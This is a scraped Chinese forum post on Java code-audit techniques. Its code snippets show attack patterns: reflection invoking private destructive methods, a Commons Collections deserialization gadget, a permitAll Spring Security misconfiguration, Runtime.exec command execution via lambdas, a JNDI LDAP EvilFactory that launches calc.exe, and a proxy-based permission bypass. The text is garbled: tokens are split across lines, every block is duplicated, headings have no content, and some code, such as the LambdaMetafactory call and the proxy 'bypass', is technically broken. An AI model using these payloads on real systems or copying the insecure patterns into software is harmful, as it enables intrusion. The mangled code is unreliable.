-
-
[原创]Java代码审计的技巧
-
发表于: 2025-4-3 10:32 728
-
审计技巧:
审计技巧:
审计技巧:
审计技巧:
审计技巧:
审计技巧:
审计技巧:
审计技巧:
审计技巧:
审计技巧:
Java代码审计需要关注:
实际审计中,建议结合以下方法:
/
/
案例:通过反射调用私有危险方法
try
{
Class<?> clazz
=
Class.forName(
"com.vuln.InternalService"
);
Method method
=
clazz.getDeclaredMethod(
"deleteAllData"
);
method.setAccessible(true);
/
/
关键点:强制开启访问权限
method.invoke(null);
/
/
执行敏感操作
} catch (Exception e) {
e.printStackTrace();
}
/
/
案例:通过反射调用私有危险方法
try
{
Class<?> clazz
=
Class.forName(
"com.vuln.InternalService"
);
Method method
=
clazz.getDeclaredMethod(
"deleteAllData"
);
method.setAccessible(true);
/
/
关键点:强制开启访问权限
method.invoke(null);
/
/
执行敏感操作
} catch (Exception e) {
e.printStackTrace();
}
/
/
利用Apache Commons Collections链
ObjectInputStream ois
=
new ObjectInputStream(request.getInputStream());
Object
obj
=
ois.readObject();
/
/
反序列化入口
/
/
攻击载荷构造(伪代码):
ChainedTransformer chain
=
new ChainedTransformer(transformers);
TransformedMap.decorate(
map
, null, chain);
...
/
/
利用Apache Commons Collections链
ObjectInputStream ois
=
new ObjectInputStream(request.getInputStream());
Object
obj
=
ois.readObject();
/
/
反序列化入口
/
/
攻击载荷构造(伪代码):
ChainedTransformer chain
=
new ChainedTransformer(transformers);
TransformedMap.decorate(
map
, null, chain);
...
# 使用GadgetInspector检测
java
-
jar gadget
-
inspector.jar
-
-
target lib
/
# 使用GadgetInspector检测
java
-
jar gadget
-
inspector.jar
-
-
target lib
/
/
/
Spring Security错误配置案例
@PreAuthorize
(
"hasRole('USER')"
)
public void viewProfile() {
/
*
...
*
/
}
/
/
错误配置允许所有访问
@Configuration
@EnableGlobalMethodSecurity
(prePostEnabled
=
true, securedEnabled
=
false)
public
class
SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http.authorizeRequests().anyRequest().permitAll();
/
/
致命错误
}
}
/
/
Spring Security错误配置案例
@PreAuthorize
(
"hasRole('USER')"
)
public void viewProfile() {
/
*
...
*
/
}
/
/
错误配置允许所有访问
@Configuration
@EnableGlobalMethodSecurity
(prePostEnabled
=
true, securedEnabled
=
false)
public
class
SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http.authorizeRequests().anyRequest().permitAll();
/
/
致命错误
}
}
/
/
动态生成Lambda导致RCE
public interface Command {
void execute(String cmd) throws Exception;
}
public static void main(String[] args) {
String userInput
=
"java.lang.Runtime.getRuntime().exec('calc');"
;
/
/
动态生成恶意Lambda
Command cmd
=
(Command) LambdaMetafactory.metafactory(
null, null, null,
(MethodType)MethodType.methodType(void.
class
, String.
class
),
MethodHandles.lookup().findVirtual(Runtime.
class
,
"exec"
,
MethodType.methodType(Process.
class
, String.
class
)),
(MethodType)MethodType.methodType(void.
class
, String.
class
)
).getTarget().bindTo(Runtime.getRuntime()).invokeWithArguments(userInput);
cmd.execute("");
/
/
触发命令执行
}
/
/
动态生成Lambda导致RCE
public interface Command {
void execute(String cmd) throws Exception;
}
public static void main(String[] args) {
String userInput
=
"java.lang.Runtime.getRuntime().exec('calc');"
;
/
/
动态生成恶意Lambda
Command cmd
=
(Command) LambdaMetafactory.metafactory(
null, null, null,
(MethodType)MethodType.methodType(void.
class
, String.
class
),
MethodHandles.lookup().findVirtual(Runtime.
class
,
"exec"
,
MethodType.methodType(Process.
class
, String.
class
)),
(MethodType)MethodType.methodType(void.
class
, String.
class
)
).getTarget().bindTo(Runtime.getRuntime()).invokeWithArguments(userInput);
cmd.execute("");
/
/
触发命令执行
}
/
/
案例:通过内部类暴露私有字段
public
class
BankAccount {
private BigDecimal balance;
/
/
本应是私有字段
public
class
Auditor {
public void checkBalance() {
System.out.println(balance);
/
/
内部类直接访问外部类私有字段
}
}
}
/
/
攻击者通过反射获取内部类
Class<?> innerClazz
=
Class.forName(
"com.vuln.BankAccount$Auditor"
);
Object
auditor
=
innerClazz.getDeclaredConstructor(BankAccount.
class
)
.newInstance(account);
Method method
=
auditor.getClass().getMethod(
"checkBalance"
);
method.invoke(auditor);
/
/
泄露余额
/
/
案例:通过内部类暴露私有字段
public
class
BankAccount {
private BigDecimal balance;
/
/
本应是私有字段
public
class
Auditor {
public void checkBalance() {
System.out.println(balance);
/
/
内部类直接访问外部类私有字段
}
}
}
/
/
攻击者通过反射获取内部类
Class<?> innerClazz
=
Class.forName(
"com.vuln.BankAccount$Auditor"
);
Object
auditor
=
innerClazz.getDeclaredConstructor(BankAccount.
class
)
.newInstance(account);
Method method
=
auditor.getClass().getMethod(
"checkBalance"
);
method.invoke(auditor);
/
/
泄露余额
/
/
案例:利用泛型类型擦除
public
class
DataHolder<T> {
private T data;
public void setData(
Object
obj) {
this.data
=
(T) obj;
/
/
未做类型检查
}
}
/
/
攻击者注入错误类型
DataHolder<String> holder
=
new DataHolder<>();
holder.setData(new
File
(
"/etc/passwd"
));
/
/
运行时不会报错
String data
=
holder.getData();
/
/
ClassCastException延迟到此处
/
/
案例:利用泛型类型擦除
public
class
DataHolder<T> {
private T data;
public void setData(
Object
obj) {
this.data
=
(T) obj;
/
/
未做类型检查
}
}
/
/
攻击者注入错误类型
DataHolder<String> holder
=
new DataHolder<>();
holder.setData(new
File
(
"/etc/passwd"
));
/
/
运行时不会报错
String data
=
holder.getData();
/
/
ClassCastException延迟到此处
/
/
新版绕过技巧(JDK≥
8u191
后)
String uri
=
"ldap://127.0.0.1:1389/deserialPayload"
;
/
/
使用带Factory的Reference
Context ctx
=
new InitialContext();
Object
obj
=
ctx.lookup(uri);
/
/
利用javax.naming.spi.ObjectFactory绕过
public
class
EvilFactory implements ObjectFactory {
public
Object
getObjectInstance(
Object
obj, Name name,
Context ctx, Hashtable<?,?> env) {
Runtime.getRuntime().
exec
(
"calc.exe"
);
return
null;
}
}
/
/
新版绕过技巧(JDK≥
8u191
后)
String uri
=
"ldap://127.0.0.1:1389/deserialPayload"
;
/
/
使用带Factory的Reference
Context ctx
=
new InitialContext();
Object
obj
=
ctx.lookup(uri);
/
/
利用javax.naming.spi.ObjectFactory绕过
public
class
EvilFactory implements ObjectFactory {
public
Object
getObjectInstance(
Object
obj, Name name,
Context ctx, Hashtable<?,?> env) {
Runtime.getRuntime().
exec
(
"calc.exe"
);
return
null;
}
}
/
/
通过动态代理绕过权限检查
public interface AdminOperation {
void deleteDatabase();
}
class
RealAdmin implements AdminOperation {
public void deleteDatabase() {
SecurityManager sm
=
System.getSecurityManager();
sm.checkPermission(new AdminPermission());
/
/
权限检查
/
/
实际删除操作...
}
}
/
/
攻击者构造代理绕过检查
AdminOperation proxy
=
(AdminOperation) Proxy.newProxyInstance(
loader,
new Class[]{AdminOperation.
class
},
(proxy1, method, args)
-
> {
/
/
直接调用方法,绕过检查
return
method.invoke(new RealAdmin(), args);
}
);
proxy.deleteDatabase();
/
/
绕过SecurityManager
/
/
通过动态代理绕过权限检查
public interface AdminOperation {
void deleteDatabase();
}
class
RealAdmin implements AdminOperation {
public void deleteDatabase() {
SecurityManager sm
=
System.getSecurityManager();
sm.checkPermission(new AdminPermission());
/
/
权限检查
/
/
实际删除操作...
}
}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2025-4-11 10:22
被Hrlies编辑
,原因:
赞赏
赞赏
雪币:
留言: